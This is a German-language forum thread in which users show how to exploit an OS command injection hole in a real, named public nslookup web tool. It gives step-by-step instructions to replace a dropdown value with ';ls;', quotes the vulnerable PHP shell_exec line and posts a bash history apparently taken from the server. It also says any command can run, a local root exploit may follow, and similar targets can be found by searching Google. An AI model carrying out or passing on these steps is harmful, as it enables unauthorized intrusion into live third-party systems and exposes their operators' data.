6 Antworten in diesem Thema

[Zero-X]

URL:

http://www.iptools.eu/nslookup.php

Im Feld "insert domain or ip" geben wir ein:

google.de

Dann klicken wir neben "Choose type" auf das Auswahlfeld mit der rechten Maustaste und wählen "Element untersuchen" (in Firefox, IE..) aus.

Die Zeile "<option value="A">A</option>" ändern wir in"<option value=";ls;">A</option>".

Dann klicken wir auf "LOOK IT UP".

 

[fluffybunny]

sorry aber um was handelt es sich hier den eigentlich? Schaut so aus als könnte man damit die Verzeichniss Struktur von google anschauen? Ist das richtig?

[JohnR]

also ich würde "osci" mit OS Comand Injection übersetzen... und nachdem Zero-X recht anschaulich "ls" einschleust und der Interpreter es augenscheinlich verarbeitet/ausführt/ausgibt

das mit google - nein, eher die Struktur der Verzeichnisse auf dem OS des Servers...

[fluffybunny]

also könnte man damit auch verschiedene andere linux befehle ausführen lassen? ziemlich lässig, da muss ich mich mal genauer damit beschäftigen.

[ProHex]

Deswegen:

 

$result = shell_exec("/usr/bin/nslookup -querytype=$type " . escapeshellcmd($domns));

 

Super Fund wie immer Zero-X

Edit:

Schöne bashhistory:
 

cd
ls -la
sh updatemax.sh
ls -la
exit
cd
cd public_html/
ls -la
cp httpheaders.php validate_json.php
vi validate_json.php
cp validate_json.php json_beautifier.php
vi json_beautifier.php
vi whois.php
vi json_beautifier.php
vi whois.php
ll
vi httpheaders.php
vi whois.php
vi json_beautifier.php
exit
cd
cd public_html/
ll
cd
cd public_html/
vi json_beautifier.php
mv validate_json.php json_validator.php
vi json_validator.php
vi index.php
vi iplocator.php
vi subnetcalculator.php
vi ipcalculator.php
vi vi portnumbers.php
vi portnumbers.php
vi whois.php
vi nslookup.php
vi httpheaders.php
vi dnspropagation.php
vi rbl.php
vi passwordgenerator.php
vi json_beautifier.php
vi json_validator.php
vi json_beautifier.php
vi json_validator.php
uptime
free -m
cat /etc/debian_version
ubuntu-support-status
exit
cd
cd public_html/
vi json_validator.php
vi json_beautifier.php
exit
cd
cd public_html/
ll
uptime

 

[jmPesp]

Sehr nett   zwei Fragen dazu .. warum gibt es einen User games in der passwd .. und @Zero-X wie kommt man darauf das so zu Testen (commix)? 

[Zero-X]

@fluffybunny:
Ja es ist möglich, damit jeden Befehl auf dem System unter den Rechten des jeweiligen Users auszuführen. Unter Umständen ist es auch möglich auf dem System einen Local-Exploit auszuführen und so Root-Rechte zu erlangen.
Ich habe mal vor längerer Zeit ein Tutorial geschrieben, das sich mit der Ausnutzung dieser Sicherheitslücken beschäftigt.
https://www.toolbase...ction-tutorial/

@jmPesp:

Der User "games" ist ein Systemuser, der steht bei mehreren Systemen in der passwd-Datei.
Um solche Lücken gezielt zu finden kann man in Google beispielweise nach webbasierten whois- oder nslookup-Skripts suchen. Da ist die Wahrscheinlichkeit groß, daß man einSkript findet, das Systemfunktionen verarbeitet. Es muss aber nicht zwingend php sein, bei cgi oder asp zum Beispiel kann man auch einiges finden.
Commix kenne ich zwar, habe es bei dieser gefundenen Lücke aber nicht verwendet. Das Tool ist zwar ganz nett aber meiner Meinung nach arbeitet es nicht immer ganz zuverlässig.